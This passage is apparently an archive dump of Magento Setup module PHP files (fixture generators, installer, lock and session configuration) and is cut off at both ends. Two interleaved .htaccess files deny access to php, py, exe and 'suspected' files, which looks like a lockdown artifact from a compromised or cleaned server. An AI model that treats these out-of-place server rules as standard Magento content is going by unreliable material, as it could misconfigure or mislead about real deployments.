$query->getQueryType() === Profiler::QUERY && 0 === stripos(ltrim($query->getQuery()), 'replace'); } /** * @return \Zend_Db_Profiler */ private function getProfiler() { if ($this->profiler === null) { $this->profiler = $this->resourceConnection->getConnection()->getProfiler(); } return $this->profiler; } } Magento/Setup/Model/FixtureGenerator/AutoIncrement.php000077700000002105151323623130017065 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\FixtureGenerator; /** * Class provides information about MySQL auto_increment configuration setting. */ class AutoIncrement { /** * @var \Magento\Framework\App\ResourceConnection */ private $resource; /** * @var int */ private $incrementValue; /** * @param \Magento\Framework\App\ResourceConnection $resource */ public function __construct(\Magento\Framework\App\ResourceConnection $resource) { $this->resource = $resource; } /** * Get value of auto_increment_increment variable. * * @return int */ public function getIncrement() { if ($this->incrementValue === null) { $increment = $this->resource->getConnection()->fetchRow('SHOW VARIABLES LIKE "auto_increment_increment"'); $this->incrementValue = !empty($increment['Value']) ? (int)$increment['Value'] : 1; } return $this->incrementValue; } } Magento/Setup/Model/FixtureGenerator/ConfigurableProductGenerator.php000077700000011160151323623130022121 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\FixtureGenerator; /** * Generate specified amount of configurable products based on passed fixture * * See ProductGenerator for fixture arguments * Fixture must return some specific options for generate configurable product: * [ * '_variation_sku_pattern' => simple product sku pattern, which will be used as configurable variation, * '_attributes_count' => amount of attributes on which configurable product is based, * '_variation_count' => amount of generated variations, * '_attributes' => product attributes on which configurable product is based , * ] * @see ProductGenerator * @see ConfigurableProductTemplateGenerator */ class ConfigurableProductGenerator { /** * @var ProductGeneratorFactory */ private $productGeneratorFactory; /** * @var AutoIncrement */ private $autoIncrement; /** * @param ProductGeneratorFactory $productGeneratorFactory * @param AutoIncrement $autoIncrement */ public function __construct( ProductGeneratorFactory $productGeneratorFactory, AutoIncrement $autoIncrement ) { $this->productGeneratorFactory = $productGeneratorFactory; $this->autoIncrement = $autoIncrement; } /** * Generate bundle products products * * @param int $products * @param array $fixtureMap * @return void */ public function generate($products, $fixtureMap) { $this->productGeneratorFactory->create([ 'customTableMap' => [ 'catalog_product_super_attribute_label' => [ 'entity_id_field' => EntityGenerator::SKIP_ENTITY_ID_BINDING, 'handler' => function ($productId, $entityNumber, $fixture, $binds) { foreach ($binds as &$bind) { $bind['product_super_attribute_id'] = $this->generateSuperAttributeId( $bind['product_super_attribute_id'], $entityNumber, $fixture ); } return $binds; }, ], 'catalog_product_super_link' => [ 'entity_id_field' => EntityGenerator::SKIP_ENTITY_ID_BINDING, 'handler' => function ($productId, $entityNumber, $fixture, $binds) { foreach ($binds as &$bind) { $bind['parent_id'] = $productId; $bind['product_id'] = $this->generateSimpleProductId( $bind['product_id'], $entityNumber, $fixture ); } return $binds; }, ], 'catalog_product_relation' => [ 'entity_id_field' => EntityGenerator::SKIP_ENTITY_ID_BINDING, 'handler' => function ($productId, $entityNumber, $fixture, $binds) { foreach ($binds as &$bind) { $bind['parent_id'] = $productId; $bind['child_id'] = $this->generateSimpleProductId( $bind['child_id'], $entityNumber, $fixture ); } return $binds; }, ], ] ])->generate($products, $fixtureMap); } /** * Generate value of option_id for $entityNumber bundle product based on previous option_id * * @param int $superAttributeId * @param int $entityNumber * @param array $fixture * @return int */ private function generateSuperAttributeId($superAttributeId, $entityNumber, array $fixture) { return $superAttributeId + ($entityNumber + 1) * $fixture['_attributes_count'] * $this->autoIncrement->getIncrement(); } /** * Generate value of simple product id which is used for $entityNumber bundle product as option item * * @param int $previousProductId * @param int $entityNumber * @param array $fixture * @return mixed */ private function generateSimpleProductId($previousProductId, $entityNumber, array $fixture) { return $previousProductId + $entityNumber * $fixture['_variation_count']; } } Magento/Setup/Model/FixtureGenerator/CustomerTemplateGenerator.php000077700000011247151323623130021463 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\FixtureGenerator; use Magento\Customer\Model\Address; use Magento\Customer\Model\AddressFactory; use Magento\Customer\Model\Customer; use Magento\Customer\Model\CustomerFactory; use Magento\Directory\Model\ResourceModel\Region\CollectionFactory as RegionCollectionFactory; use Magento\Framework\App\ObjectManager; use Magento\Store\Model\StoreManagerInterface; /** * Product template generator */ class CustomerTemplateGenerator implements TemplateEntityGeneratorInterface { /** * @var CustomerFactory */ private $customerFactory; /** * @var AddressFactory */ private $addressFactory; /** * @var StoreManagerInterface */ private $storeManager; /** * @var RegionCollectionFactory */ private $regionsCollectionFactory; /** * @param CustomerFactory $customerFactory * @param AddressFactory $addressFactory * @param StoreManagerInterface $storeManager * @param RegionCollectionFactory|null $regionsCollectionFactory */ public function __construct( CustomerFactory $customerFactory, AddressFactory $addressFactory, StoreManagerInterface $storeManager, RegionCollectionFactory $regionsCollectionFactory = null ) { $this->customerFactory = $customerFactory; $this->addressFactory = $addressFactory; $this->storeManager = $storeManager; $this->regionsCollectionFactory = $regionsCollectionFactory ?: ObjectManager::getInstance()->get( RegionCollectionFactory::class ); } /** * @inheritdoc */ public function generateEntity() { $customer = $this->getCustomerTemplate(); $customer->save(); $address = $this->getAddressTemplate($customer->getId()); $address->save(); return $customer; } /** * Get customer template * * @return Customer */ private function getCustomerTemplate() { $customerRandomizerNumber = crc32(random_int(1, PHP_INT_MAX)); $now = new \DateTime(); return $this->customerFactory->create([ 'data' => [ 'email' => sprintf('user_%s@example.com', $customerRandomizerNumber), 'confirmation' => null, 'created_at' => $now->format(\Magento\Framework\Stdlib\DateTime::DATETIME_PHP_FORMAT), 'created_in' => 'Default', 'default_billing' => '1', 'default_shipping' => '1', 'disable_auto_group_change' => '0', 'dob' => '12-10-1991', 'firstname' => 'Firstname', 'gender' => 1, 'group_id' => '1', 'lastname' => 'Lastname', 'middlename' => '', 'password_hash' => '', 'prefix' => null, 'rp_token' => null, 'rp_token_created_at' => null, 'store_id' => $this->storeManager->getDefaultStoreView()->getId(), 'suffix' => null, 'taxvat' => null, 'website_id' => $this->storeManager->getDefaultStoreView()->getWebsiteId(), 'password' => '123123q', ] ]); } /** * Get address template. * * @param int $customerId * @return Address */ private function getAddressTemplate($customerId) { return $this->addressFactory->create([ 'data' => [ 'parent_id' => $customerId, 'attribute_set_id' => 2, 'telephone' => 3468676, 'postcode' => 75477, 'country_id' => 'US', 'city' => 'CityM', 'company' => 'CompanyName', 'street' => 'Green str, 67', 'lastname' => 'Smith', 'firstname' => 'John', 'region_id' => $this->getFirstRegionId(), 'fax' => '04040404', 'middlename' => '', 'prefix' => '', 'region' => 'Arkansas', 'suffix' => '', 'vat_id' => '', 'default_billing_' => '1', 'default_shipping_' => '1', ] ]); } /** * Get first region id. * * @return mixed */ private function getFirstRegionId() { $regionsCollection = $this->regionsCollectionFactory->create(); $regionsCollection->unshiftOrder('region_id', 'ASC'); $region = $regionsCollection->getFirstItem(); return $region->getRegionId(); } } Magento/Setup/Model/FixtureGenerator/ProductTemplateGeneratorFactory.php000077700000003244151323623130022630 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\FixtureGenerator; use Magento\Bundle\Model\Product\Type as BundleType; use Magento\Catalog\Model\Product\Type; use Magento\ConfigurableProduct\Model\Product\Type\Configurable; use Magento\Framework\ObjectManagerInterface; /** * Provide product template generator based on specified product type from fixture */ class ProductTemplateGeneratorFactory { /** * @var ObjectManagerInterface */ private $objectManager; /** * @var array */ private $templateEntityMap = [ Type::TYPE_SIMPLE => SimpleProductTemplateGenerator::class, BundleType::TYPE_CODE => BundleProductTemplateGenerator::class, Configurable::TYPE_CODE => ConfigurableProductTemplateGenerator::class, ]; /** * @param ObjectManagerInterface $objectManager */ public function __construct(ObjectManagerInterface $objectManager) { $this->objectManager = $objectManager; } /** * @param array $fixture * @return TemplateEntityGeneratorInterface * @throws \InvalidArgumentException */ public function create(array $fixture) { $type = isset($fixture['type_id']) ? $fixture['type_id'] : Type::TYPE_SIMPLE; if (!isset($this->templateEntityMap[$type])) { throw new \InvalidArgumentException(sprintf( 'Cannot instantiate product template generator. Wrong type_id "%s" passed', $type )); } return $this->objectManager->create($this->templateEntityMap[$type], ['fixture' => $fixture]); } } Magento/Setup/Model/FixtureGenerator/TemplateEntityGeneratorInterface.php000077700000000576151323623130022762 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\FixtureGenerator; /** * Generate entity template which is used for entity generation */ interface TemplateEntityGeneratorInterface { /** * @return \Magento\Framework\Model\AbstractModel */ public function generateEntity(); } Magento/Setup/Model/FixtureGenerator/BundleProductGenerator.php000077700000021174151323623130020740 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\FixtureGenerator; use Magento\Framework\App\ObjectManager; use Magento\Framework\App\ResourceConnection; /** * Generate specified amount of bundle products based on passed fixture * * See ProductGenerator for fixture arguments * Fixture must return some specific options for generate bundle product: * [ * '_bundle_variation_sku_pattern' => simple product sku pattern, which will be used as configurable variation, * '_bundle_options' => amount of options per bundle product, * '_bundle_products_per_option' => amount of simple products per each option, * ] * @see ProductGenerator * @see BundleProductTemplateGenerator */ class BundleProductGenerator { /** * @var array */ private $sequenceValues = [ 'sequence_product_bundle_option' => null, 'sequence_product_bundle_selection' => null ]; /** * @var ProductGeneratorFactory */ private $productGeneratorFactory; /** * @var ResourceConnection */ private $resource; /** * @param ProductGeneratorFactory $productGeneratorFactory * @param ResourceConnection $resource|null */ public function __construct( ProductGeneratorFactory $productGeneratorFactory, ResourceConnection $resource = null ) { $this->productGeneratorFactory = $productGeneratorFactory; $this->resource = $resource ?: ObjectManager::getInstance()->get( ResourceConnection::class ); } /** * Generates bundle products. * * @param int $products * @param array $fixtureMap * * @return void * * @SuppressWarnings(PHPMD.ExcessiveMethodLength) */ public function generate($products, $fixtureMap) { $this->productGeneratorFactory->create([ 'customTableMap' => [ 'catalog_product_bundle_option' => [ 'entity_id_field' => EntityGenerator::SKIP_ENTITY_ID_BINDING, 'handler' => function ($productId, $entityNumber, $fixture, $binds) { foreach ($binds as &$bind) { $bind['option_id'] = $this->generateOptionId( $entityNumber, $bind['option_id'], $fixture ); $bind['parent_id'] = $productId; } return $binds; }, ], 'sequence_product_bundle_option' => [ 'entity_id_field' => EntityGenerator::SKIP_ENTITY_ID_BINDING, 'handler' => function ($productId, $entityNumber, $fixture, $binds) { foreach ($binds as &$bind) { $bind['sequence_value'] = $this->generateSequenceId( 'sequence_product_bundle_option' ); } return $binds; }, ], 'catalog_product_bundle_option_value' => [ 'entity_id_field' => EntityGenerator::SKIP_ENTITY_ID_BINDING, 'handler' => function ($productId, $entityNumber, $fixture, $binds) { foreach ($binds as &$bind) { $bind['option_id'] = $this->generateOptionId( $entityNumber, $bind['option_id'], $fixture ); $bind['parent_product_id'] = $productId; } return $binds; }, ], 'catalog_product_bundle_selection' => [ 'entity_id_field' => EntityGenerator::SKIP_ENTITY_ID_BINDING, 'handler' => function ($productId, $entityNumber, $fixture, $binds) { foreach ($binds as &$bind) { $bind['selection_id'] = $this->generateSelectionId( $entityNumber, $bind['selection_id'], $fixture ); $bind['parent_product_id'] = $productId; $bind['option_id'] = $this->generateOptionId( $entityNumber, $bind['option_id'], $fixture ); $bind['product_id'] = $this->generateSimpleProductId( $bind['product_id'], $entityNumber, $fixture ); $bind['selection_price_type'] = $fixture['priceType']($bind['product_id']); $bind['selection_price_value'] = $fixture['price']($bind['product_id']); } return $binds; }, ], 'sequence_product_bundle_selection' => [ 'entity_id_field' => EntityGenerator::SKIP_ENTITY_ID_BINDING, 'handler' => function ($productId, $entityNumber, $fixture, $binds) { foreach ($binds as &$bind) { $bind['sequence_value'] = $this->generateSequenceId( 'sequence_product_bundle_selection' ); } return $binds; }, ], 'catalog_product_relation' => [ 'entity_id_field' => EntityGenerator::SKIP_ENTITY_ID_BINDING, 'handler' => function ($productId, $entityNumber, $fixture, $binds) { foreach ($binds as &$bind) { $bind['parent_id'] = $productId; $bind['child_id'] = $this->generateSimpleProductId( $bind['child_id'], $entityNumber, $fixture ); } return $binds; }, ], ] ])->generate($products, $fixtureMap); } /** * Generates an option Id. * * @param int $entityNumber * @param int $originalOptionId * @param array $fixture * * @return int|null */ private function generateOptionId($entityNumber, $originalOptionId, array $fixture) { if ($originalOptionId) { return $fixture['_bundle_options'] * ($entityNumber + 1) + $originalOptionId; } return $originalOptionId; } /** * Generates a selection Id. * * @param int $entityNumber * @param int $originalSelectionId * @param array $fixture * * @return int|null */ private function generateSelectionId($entityNumber, $originalSelectionId, array $fixture) { if ($originalSelectionId) { $selectionsPerProduct = $fixture['_bundle_products_per_option'] * $fixture['_bundle_options']; return $selectionsPerProduct * ($entityNumber + 1) + $originalSelectionId; } return $originalSelectionId; } /** * Generates an Id for the given sequence table. * * @param string $tableName * * @return int */ private function generateSequenceId($tableName) { if (!$this->sequenceValues[$tableName]) { $connection = $this->resource->getConnection(); $this->sequenceValues[$tableName] = $connection->fetchOne( $connection->select()->from( $this->resource->getTableName($tableName), 'MAX(`sequence_value`)' ) ); } return ++$this->sequenceValues[$tableName]; } /** * Generate value of simple product id which is used for $entityNumber bundle product as option item * * @param int $previousProductId * @param int $entityNumber * @param array $fixture * @return mixed */ private function generateSimpleProductId($previousProductId, $entityNumber, array $fixture) { return $previousProductId + $entityNumber * $fixture['_bundle_products_per_option'] * $fixture['_bundle_options']; } } Magento/Setup/Model/FixtureGenerator/.htaccess000077700000000177151323623130015404 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Model/FixtureGenerator/SimpleProductTemplateGenerator.php000077700000005727151323623130022462 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\FixtureGenerator; use Magento\Catalog\Api\Data\ProductInterface; use Magento\Catalog\Model\Product\Attribute\Source\Status; use Magento\Catalog\Model\Product\Type; use Magento\Catalog\Model\Product\Visibility; use Magento\Catalog\Model\ProductFactory; /** * Simple product template generator. Return newly created simple product for specified attribute set * with default values for product attributes */ class SimpleProductTemplateGenerator implements TemplateEntityGeneratorInterface { /** * @var array */ private $fixture; /** * @var ProductFactory */ private $productFactory; /** * @param ProductFactory $productFactory * @param array $fixture */ public function __construct(ProductFactory $productFactory, array $fixture) { $this->fixture = $fixture; $this->productFactory = $productFactory; } /** * {@inheritdoc} */ public function generateEntity() { $attributeSet = $this->fixture['attribute_set_id']; $product = $this->getProductTemplate( $attributeSet, $this->fixture['additional_attributes']($attributeSet, 0, 0) ); $product->save(); return $product; } /** * Get product template * * @param int $attributeSet * @param array $additionalAttributes * @return ProductInterface */ private function getProductTemplate($attributeSet, $additionalAttributes = []) { $productRandomizerNumber = crc32(random_int(1, PHP_INT_MAX)); $product = $this->productFactory->create([ 'data' => [ 'attribute_set_id' => $attributeSet, 'type_id' => Type::TYPE_SIMPLE, 'name' => 'template name' . $productRandomizerNumber, 'url_key' => 'template-url' . $productRandomizerNumber, 'sku' => 'template_sku_simple' . $productRandomizerNumber, 'price' => 10, 'visibility' => Visibility::VISIBILITY_BOTH, 'status' => Status::STATUS_ENABLED, 'website_ids' => (array)$this->fixture['website_ids'](1, 0), 'category_ids' => isset($this->fixture['category_ids']) ? [2] : null, 'weight' => 1, 'description' => 'description', 'short_description' => 'short description', 'tax_class_id' => 2, //'taxable goods', 'stock_data' => [ 'use_config_manage_stock' => 1, 'qty' => 100500, 'is_qty_decimal' => 0, 'is_in_stock' => 1 ], ] ]); foreach ($additionalAttributes as $attributeCode => $attributeValue) { $product->setData($attributeCode, $attributeValue); } return $product; } } Magento/Setup/Model/DeclarationInstaller.php000077700000003227151323623130015124 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Framework\Setup\Declaration\Schema\Diff\SchemaDiff; use Magento\Framework\Setup\Declaration\Schema\OperationsExecutor; use Magento\Framework\Setup\Declaration\Schema\SchemaConfigInterface; /** * Declaration Installer is facade for installation and upgrade db in declaration mode. */ class DeclarationInstaller { /** * @var OperationsExecutor */ private $operationsExecutor; /** * @var SchemaDiff */ private $schemaDiff; /** * @var SchemaConfigInterface */ private $schemaConfig; /** * Constructor. * * @param SchemaConfigInterface $schemaConfig * @param SchemaDiff $schemaDiff * @param OperationsExecutor $operationsExecutor */ public function __construct( SchemaConfigInterface $schemaConfig, SchemaDiff $schemaDiff, OperationsExecutor $operationsExecutor ) { $this->operationsExecutor = $operationsExecutor; $this->schemaConfig = $schemaConfig; $this->schemaDiff = $schemaDiff; } /** * Install Schema in declarative way. * * @param array $requestData -> Data params which comes from UI or from CLI. * @return void */ public function installSchema(array $requestData) { $declarativeSchema = $this->schemaConfig->getDeclarationConfig(); $dbSchema = $this->schemaConfig->getDbConfig(); $diff = $this->schemaDiff->diff($declarativeSchema, $dbSchema); $this->operationsExecutor->execute($diff, $requestData); } } Magento/Setup/Model/Installer/Progress.php000077700000003634151323623130014564 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Installer; /** * Installation progress model */ class Progress { /** * Total number of steps * * @var int */ private $total; /** * Current step * * @var int */ private $current; /** * Constructor * * @param int $total * @param int $current */ public function __construct($total, $current = 0) { $this->validate($total, $current); $this->total = $total; $this->current = $current; } /** * Increments current counter * * @return void */ public function setNext() { $this->validate($this->total, $this->current + 1); $this->current++; } /** * Sets current counter to the end * * @return void */ public function finish() { $this->current = $this->total; } /** * Gets the current counter * * @return int */ public function getCurrent() { return $this->current; } /** * Gets the total number * * @return int */ public function getTotal() { return $this->total; } /** * Gets ratio of current to total * * @return float */ public function getRatio() { return $this->current / $this->total; } /** * Asserts invariants * * @param int $total * @param int $current * @return void * @throws \LogicException */ private function validate($total, $current) { if (empty($total) || 0 >= $total) { throw new \LogicException('Total number must be more than zero.'); } if ($current > $total) { throw new \LogicException('Current cannot exceed total number.'); } } } Magento/Setup/Model/Installer/.htaccess000077700000000177151323623130014044 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Model/ConfigOptionsList/Lock.php000077700000024310151323623130015322 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Model\ConfigOptionsList; use Magento\Framework\Lock\Backend\Zookeeper as ZookeeperLock; use Magento\Framework\Lock\LockBackendFactory; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Config\Data\ConfigData; use Magento\Framework\Config\File\ConfigFilePool; use Magento\Framework\Setup\ConfigOptionsListInterface; use Magento\Framework\Setup\Option\SelectConfigOption; use Magento\Framework\Setup\Option\TextConfigOption; /** * Deployment configuration options for locks */ class Lock implements ConfigOptionsListInterface { /** * The name of an option to set lock provider * * @const string */ const INPUT_KEY_LOCK_PROVIDER = 'lock-provider'; /** * The name of an option to set DB prefix * * @const string */ const INPUT_KEY_LOCK_DB_PREFIX = 'lock-db-prefix'; /** * The name of an option to set Zookeeper host * * @const string */ const INPUT_KEY_LOCK_ZOOKEEPER_HOST = 'lock-zookeeper-host'; /** * The name of an option to set Zookeeper path * * @const string */ const INPUT_KEY_LOCK_ZOOKEEPER_PATH = 'lock-zookeeper-path'; /** * The name of an option to set File path * * @const string */ const INPUT_KEY_LOCK_FILE_PATH = 'lock-file-path'; /** * The configuration path to save lock provider * * @const string */ const CONFIG_PATH_LOCK_PROVIDER = 'lock/provider'; /** * The configuration path to save DB prefix * * @const string */ const CONFIG_PATH_LOCK_DB_PREFIX = 'lock/config/prefix'; /** * The configuration path to save Zookeeper host * * @const string */ const CONFIG_PATH_LOCK_ZOOKEEPER_HOST = 'lock/config/host'; /** * The configuration path to save Zookeeper path * * @const string */ const CONFIG_PATH_LOCK_ZOOKEEPER_PATH = 'lock/config/path'; /** * The configuration path to save locks directory path * * @const string */ const CONFIG_PATH_LOCK_FILE_PATH = 'lock/config/path'; /** * The list of lock providers * * @var array */ private $validLockProviders = [ LockBackendFactory::LOCK_DB, LockBackendFactory::LOCK_ZOOKEEPER, LockBackendFactory::LOCK_CACHE, LockBackendFactory::LOCK_FILE, ]; /** * The mapping input keys with their configuration paths * * @var array */ private $mappingInputKeyToConfigPath = [ LockBackendFactory::LOCK_DB => [ self::INPUT_KEY_LOCK_PROVIDER => self::CONFIG_PATH_LOCK_PROVIDER, self::INPUT_KEY_LOCK_DB_PREFIX => self::CONFIG_PATH_LOCK_DB_PREFIX, ], LockBackendFactory::LOCK_ZOOKEEPER => [ self::INPUT_KEY_LOCK_PROVIDER => self::CONFIG_PATH_LOCK_PROVIDER, self::INPUT_KEY_LOCK_ZOOKEEPER_HOST => self::CONFIG_PATH_LOCK_ZOOKEEPER_HOST, self::INPUT_KEY_LOCK_ZOOKEEPER_PATH => self::CONFIG_PATH_LOCK_ZOOKEEPER_PATH, ], LockBackendFactory::LOCK_CACHE => [ self::INPUT_KEY_LOCK_PROVIDER => self::CONFIG_PATH_LOCK_PROVIDER, ], LockBackendFactory::LOCK_FILE => [ self::INPUT_KEY_LOCK_PROVIDER => self::CONFIG_PATH_LOCK_PROVIDER, self::INPUT_KEY_LOCK_FILE_PATH => self::CONFIG_PATH_LOCK_FILE_PATH, ], ]; /** * The list of default values * * @var array */ private $defaultConfigValues = [ self::INPUT_KEY_LOCK_PROVIDER => LockBackendFactory::LOCK_DB, self::INPUT_KEY_LOCK_DB_PREFIX => null, self::INPUT_KEY_LOCK_ZOOKEEPER_PATH => ZookeeperLock::DEFAULT_PATH, ]; /** * @inheritdoc */ public function getOptions() { return [ new SelectConfigOption( self::INPUT_KEY_LOCK_PROVIDER, SelectConfigOption::FRONTEND_WIZARD_SELECT, $this->validLockProviders, self::CONFIG_PATH_LOCK_PROVIDER, 'Lock provider name', LockBackendFactory::LOCK_DB ), new TextConfigOption( self::INPUT_KEY_LOCK_DB_PREFIX, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_LOCK_DB_PREFIX, 'Installation specific lock prefix to avoid lock conflicts' ), new TextConfigOption( self::INPUT_KEY_LOCK_ZOOKEEPER_HOST, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_LOCK_ZOOKEEPER_HOST, 'Host and port to connect to Zookeeper cluster. For example: 127.0.0.1:2181' ), new TextConfigOption( self::INPUT_KEY_LOCK_ZOOKEEPER_PATH, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_LOCK_ZOOKEEPER_PATH, 'The path where Zookeeper will save locks. The default path is: ' . ZookeeperLock::DEFAULT_PATH ), new TextConfigOption( self::INPUT_KEY_LOCK_FILE_PATH, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_LOCK_FILE_PATH, 'The path where file locks will be saved.' ), ]; } /** * @inheritdoc */ public function createConfig(array $options, DeploymentConfig $deploymentConfig) { $configData = new ConfigData(ConfigFilePool::APP_ENV); $configData->setOverrideWhenSave(true); $lockProvider = $this->getLockProvider($options, $deploymentConfig); $this->setDefaultConfiguration($configData, $deploymentConfig, $lockProvider); foreach ($this->mappingInputKeyToConfigPath[$lockProvider] as $input => $path) { if (isset($options[$input])) { $configData->set($path, $options[$input]); } } return $configData; } /** * @inheritdoc */ public function validate(array $options, DeploymentConfig $deploymentConfig) { $lockProvider = $this->getLockProvider($options, $deploymentConfig); switch ($lockProvider) { case LockBackendFactory::LOCK_ZOOKEEPER: $errors = $this->validateZookeeperConfig($options, $deploymentConfig); break; case LockBackendFactory::LOCK_FILE: $errors = $this->validateFileConfig($options, $deploymentConfig); break; case LockBackendFactory::LOCK_CACHE: case LockBackendFactory::LOCK_DB: $errors = []; break; default: $errors[] = 'The lock provider ' . $lockProvider . ' does not exist.'; } return $errors; } /** * Validates File locks configuration * * @param array $options * @param DeploymentConfig $deploymentConfig * @return array */ private function validateFileConfig(array $options, DeploymentConfig $deploymentConfig): array { $errors = []; $path = $options[self::INPUT_KEY_LOCK_FILE_PATH] ?? $deploymentConfig->get( self::CONFIG_PATH_LOCK_FILE_PATH, $this->getDefaultValue(self::INPUT_KEY_LOCK_FILE_PATH) ); if (!$path) { $errors[] = 'The path needs to be a non-empty string.'; } return $errors; } /** * Validates Zookeeper configuration * * @param array $options * @param DeploymentConfig $deploymentConfig * @return array */ private function validateZookeeperConfig(array $options, DeploymentConfig $deploymentConfig): array { $errors = []; if (!extension_loaded(LockBackendFactory::LOCK_ZOOKEEPER)) { $errors[] = 'php extension Zookeeper is not installed.'; } $host = $options[self::INPUT_KEY_LOCK_ZOOKEEPER_HOST] ?? $deploymentConfig->get( self::CONFIG_PATH_LOCK_ZOOKEEPER_HOST, $this->getDefaultValue(self::INPUT_KEY_LOCK_ZOOKEEPER_HOST) ); $path = $options[self::INPUT_KEY_LOCK_ZOOKEEPER_PATH] ?? $deploymentConfig->get( self::CONFIG_PATH_LOCK_ZOOKEEPER_PATH, $this->getDefaultValue(self::INPUT_KEY_LOCK_ZOOKEEPER_PATH) ); if (!$path) { $errors[] = 'Zookeeper path needs to be a non-empty string.'; } if (!$host) { $errors[] = 'Zookeeper host is should be set.'; } return $errors; } /** * Returns the name of lock provider * * @param array $options * @param DeploymentConfig $deploymentConfig * @return string */ private function getLockProvider(array $options, DeploymentConfig $deploymentConfig): string { if (!isset($options[self::INPUT_KEY_LOCK_PROVIDER])) { return (string) $deploymentConfig->get( self::CONFIG_PATH_LOCK_PROVIDER, $this->getDefaultValue(self::INPUT_KEY_LOCK_PROVIDER) ); } return (string) $options[self::INPUT_KEY_LOCK_PROVIDER]; } /** * Sets default configuration for locks * * @param ConfigData $configData * @param DeploymentConfig $deploymentConfig * @param string $lockProvider * @return ConfigData */ private function setDefaultConfiguration( ConfigData $configData, DeploymentConfig $deploymentConfig, string $lockProvider ) { foreach ($this->mappingInputKeyToConfigPath[$lockProvider] as $input => $path) { $configData->set($path, $deploymentConfig->get($path, $this->getDefaultValue($input))); } return $configData; } /** * Returns default value by input key * * If default value is not set returns null * * @param string $inputKey * @return mixed|null */ private function getDefaultValue(string $inputKey) { if (isset($this->defaultConfigValues[$inputKey])) { return $this->defaultConfigValues[$inputKey]; } else { return null; } } } Magento/Setup/Model/ConfigOptionsList/DriverOptions.php000077700000003131151323623130017237 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Model\ConfigOptionsList; use Magento\Framework\Config\ConfigOptionsListConstants; /** * Mysql driver options. */ class DriverOptions { /** * Get mysql driver options. * * @param array $options * @return array */ public function getDriverOptions(array $options): array { $driverOptionKeys = [ ConfigOptionsListConstants::KEY_MYSQL_SSL_KEY => ConfigOptionsListConstants::INPUT_KEY_DB_SSL_KEY, ConfigOptionsListConstants::KEY_MYSQL_SSL_CERT => ConfigOptionsListConstants::INPUT_KEY_DB_SSL_CERT, ConfigOptionsListConstants::KEY_MYSQL_SSL_CA => ConfigOptionsListConstants::INPUT_KEY_DB_SSL_CA, ConfigOptionsListConstants::KEY_MYSQL_SSL_VERIFY => ConfigOptionsListConstants::INPUT_KEY_DB_SSL_VERIFY ]; $driverOptions = []; foreach ($driverOptionKeys as $configKey => $driverOptionKey) { if ($this->optionExists($options, $driverOptionKey)) { $driverOptions[$configKey] = $options[$driverOptionKey]; } } return $driverOptions; } /** * Verify if option exists. * * @param array $options * @param string $driverOptionKey * @return bool */ private function optionExists($options, $driverOptionKey): bool { return isset($options[$driverOptionKey]) && ($options[$driverOptionKey] === false || !empty($options[$driverOptionKey])); } } Magento/Setup/Model/ConfigOptionsList/Session.php000077700000046227151323623130016070 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\ConfigOptionsList; use Magento\Framework\Setup\ConfigOptionsListInterface; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Config\Data\ConfigData; use Magento\Framework\Config\File\ConfigFilePool; use Magento\Framework\Setup\Option\SelectConfigOption; use Magento\Framework\Setup\Option\TextConfigOption; /** * Deployment configuration options needed to configure session storage */ class Session implements ConfigOptionsListInterface { const INPUT_KEY_SESSION_REDIS_HOST = 'session-save-redis-host'; const INPUT_KEY_SESSION_REDIS_PORT = 'session-save-redis-port'; const INPUT_KEY_SESSION_REDIS_PASSWORD = 'session-save-redis-password'; const INPUT_KEY_SESSION_REDIS_TIMEOUT = 'session-save-redis-timeout'; const INPUT_KEY_SESSION_REDIS_PERSISTENT_IDENTIFIER = 'session-save-redis-persistent-id'; const INPUT_KEY_SESSION_REDIS_DATABASE = 'session-save-redis-db'; const INPUT_KEY_SESSION_REDIS_COMPRESSION_THRESHOLD = 'session-save-redis-compression-threshold'; const INPUT_KEY_SESSION_REDIS_COMPRESSION_LIBRARY = 'session-save-redis-compression-lib'; const INPUT_KEY_SESSION_REDIS_LOG_LEVEL = 'session-save-redis-log-level'; const INPUT_KEY_SESSION_REDIS_MAX_CONCURRENCY = 'session-save-redis-max-concurrency'; const INPUT_KEY_SESSION_REDIS_BREAK_AFTER_FRONTEND = 'session-save-redis-break-after-frontend'; const INPUT_KEY_SESSION_REDIS_BREAK_AFTER_ADMINHTML = 'session-save-redis-break-after-adminhtml'; const INPUT_KEY_SESSION_REDIS_FIRST_LIFETIME = 'session-save-redis-first-lifetime'; const 